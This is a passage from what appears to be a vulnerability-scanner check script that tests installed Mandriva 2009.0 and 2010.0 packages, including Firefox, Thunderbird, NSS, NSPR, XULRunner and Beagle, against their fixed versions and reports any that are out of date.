isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nss\", rpm:\"nss~3.12.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"opensc\", rpm:\"opensc~0.11.9~1.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts\", rpm:\"rootcerts~20110323.00~1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts-java\", rpm:\"rootcerts-java~20110323.00~1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"xulrunner\", rpm:\"xulrunner~1.9.2.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"yelp\", rpm:\"yelp~2.28.0~1.20mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-l10n\", rpm:\"firefox-l10n~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"google-gadgets\", rpm:\"google-gadgets~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nspr\", rpm:\"nspr~4.8.7~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget1.0_0\", rpm:\"lib64ggadget1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget-dbus1.0_0\", rpm:\"lib64ggadget-dbus1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget-gtk1.0_0\", rpm:\"lib64ggadget-gtk1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget-js1.0_0\", rpm:\"lib64ggadget-js1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget-npapi1.0_0\", rpm:\"lib64ggadget-npapi1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget-qt1.0_0\", rpm:\"lib64ggadget-qt1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget-webkitjs0\", rpm:\"lib64ggadget-webkitjs0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64ggadget-xdg1.0_0\", rpm:\"lib64ggadget-xdg1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64google-gadgets-devel\", rpm:\"lib64google-gadgets-devel~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr4\", rpm:\"lib64nspr4~4.8.7~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr-devel\", rpm:\"lib64nspr-devel~4.8.7~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss3\", rpm:\"lib64nss3~3.12.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-devel\", rpm:\"lib64nss-devel~3.12.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-static-devel\", rpm:\"lib64nss-static-devel~3.12.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64opensc2\", rpm:\"lib64opensc2~0.11.9~1.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64opensc-devel\", rpm:\"lib64opensc-devel~0.11.9~1.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner1.9.2.16\", rpm:\"lib64xulrunner1.9.2.16~1.9.2.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner-devel\", rpm:\"lib64xulrunner-devel~1.9.2.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2009.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"beagle\", rpm:\"beagle~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-crawl-system\", rpm:\"beagle-crawl-system~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-doc\", rpm:\"beagle-doc~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-epiphany\", rpm:\"beagle-epiphany~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-evolution\", rpm:\"beagle-evolution~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui\", rpm:\"beagle-gui~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui-qt\", rpm:\"beagle-gui-qt~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-libs\", rpm:\"beagle-libs~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"devhelp\", rpm:\"devhelp~0.21~3.24mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"devhelp-plugins\", rpm:\"devhelp-plugins~0.21~3.24mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"epiphany\", rpm:\"epiphany~2.24.3~0.13mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"epiphany-devel\", rpm:\"epiphany-devel~2.24.3~0.13mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox\", rpm:\"firefox~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-af\", rpm:\"firefox-af~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ar\", rpm:\"firefox-ar~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-be\", rpm:\"firefox-be~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bg\", rpm:\"firefox-bg~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bn\", rpm:\"firefox-bn~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ca\", rpm:\"firefox-ca~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cs\", rpm:\"firefox-cs~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cy\", rpm:\"firefox-cy~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-da\", rpm:\"firefox-da~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-de\", rpm:\"firefox-de~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-devel\", rpm:\"firefox-devel~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-el\", rpm:\"firefox-el~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-en_GB\", rpm:\"firefox-en_GB~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eo\", rpm:\"firefox-eo~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_AR\", rpm:\"firefox-es_AR~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_ES\", rpm:\"firefox-es_ES~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-et\", rpm:\"firefox-et~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eu\", rpm:\"firefox-eu~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-beagle\", rpm:\"firefox-ext-beagle~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-blogrovr\", rpm:\"firefox-ext-blogrovr~1.1.804~0.12mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-mozvoikko\", rpm:\"firefox-ext-mozvoikko~1.0~0.12mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-scribefire\", rpm:\"firefox-ext-scribefire~3.5.1~0.12mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-xmarks\", rpm:\"firefox-ext-xmarks~3.5.10~0.12mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fi\", rpm:\"firefox-fi~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fr\", rpm:\"firefox-fr~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fy\", rpm:\"firefox-fy~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ga_IE\", rpm:\"firefox-ga_IE~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gl\", rpm:\"firefox-gl~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gu_IN\", rpm:\"firefox-gu_IN~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-he\", rpm:\"firefox-he~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hi\", rpm:\"firefox-hi~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hu\", rpm:\"firefox-hu~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-id\", rpm:\"firefox-id~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-is\", rpm:\"firefox-is~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-it\", rpm:\"firefox-it~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ja\", rpm:\"firefox-ja~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ka\", rpm:\"firefox-ka~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-kn\", rpm:\"firefox-kn~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ko\", rpm:\"firefox-ko~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ku\", rpm:\"firefox-ku~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lt\", rpm:\"firefox-lt~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lv\", rpm:\"firefox-lv~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mk\", rpm:\"firefox-mk~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mr\", rpm:\"firefox-mr~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nb_NO\", rpm:\"firefox-nb_NO~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nl\", rpm:\"firefox-nl~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nn_NO\", rpm:\"firefox-nn_NO~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-oc\", rpm:\"firefox-oc~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pa_IN\", rpm:\"firefox-pa_IN~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pl\", rpm:\"firefox-pl~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_BR\", rpm:\"firefox-pt_BR~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_PT\", rpm:\"firefox-pt_PT~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ro\", rpm:\"firefox-ro~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ru\", rpm:\"firefox-ru~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-si\", rpm:\"firefox-si~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sk\", rpm:\"firefox-sk~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sl\", rpm:\"firefox-sl~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sq\", rpm:\"firefox-sq~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sr\", rpm:\"firefox-sr~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sv_SE\", rpm:\"firefox-sv_SE~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-te\", rpm:\"firefox-te~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-th\", rpm:\"firefox-th~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-theme-kfirefox\", rpm:\"firefox-theme-kfirefox~0.16~0.12mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-tr\", rpm:\"firefox-tr~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-uk\", rpm:\"firefox-uk~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_CN\", rpm:\"firefox-zh_CN~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_TW\", rpm:\"firefox-zh_TW~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-extras\", rpm:\"gnome-python-extras~2.19.1~20.26mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda\", rpm:\"gnome-python-gda~2.19.1~20.26mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda-devel\", rpm:\"gnome-python-gda-devel~2.19.1~20.26mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gdl\", rpm:\"gnome-python-gdl~2.19.1~20.26mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkhtml2\", rpm:\"gnome-python-gtkhtml2~2.19.1~20.26mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkmozembed\", rpm:\"gnome-python-gtkmozembed~2.19.1~20.26mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkspell\", rpm:\"gnome-python-gtkspell~2.19.1~20.26mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libdevhelp-1_0\", rpm:\"libdevhelp-1_0~0.21~3.24mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libdevhelp-1-devel\", rpm:\"libdevhelp-1-devel~0.21~3.24mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr4\", rpm:\"libnspr4~4.8.7~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr-devel\", rpm:\"libnspr-devel~4.8.7~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss3\", rpm:\"libnss3~3.12.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-devel\", rpm:\"libnss-devel~3.12.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-static-devel\", rpm:\"libnss-static-devel~3.12.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner1.9.2.16\", rpm:\"libxulrunner1.9.2.16~1.9.2.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner-devel\", rpm:\"libxulrunner-devel~1.9.2.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-beagle\", rpm:\"mozilla-thunderbird-beagle~0.3.8~13.35mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = 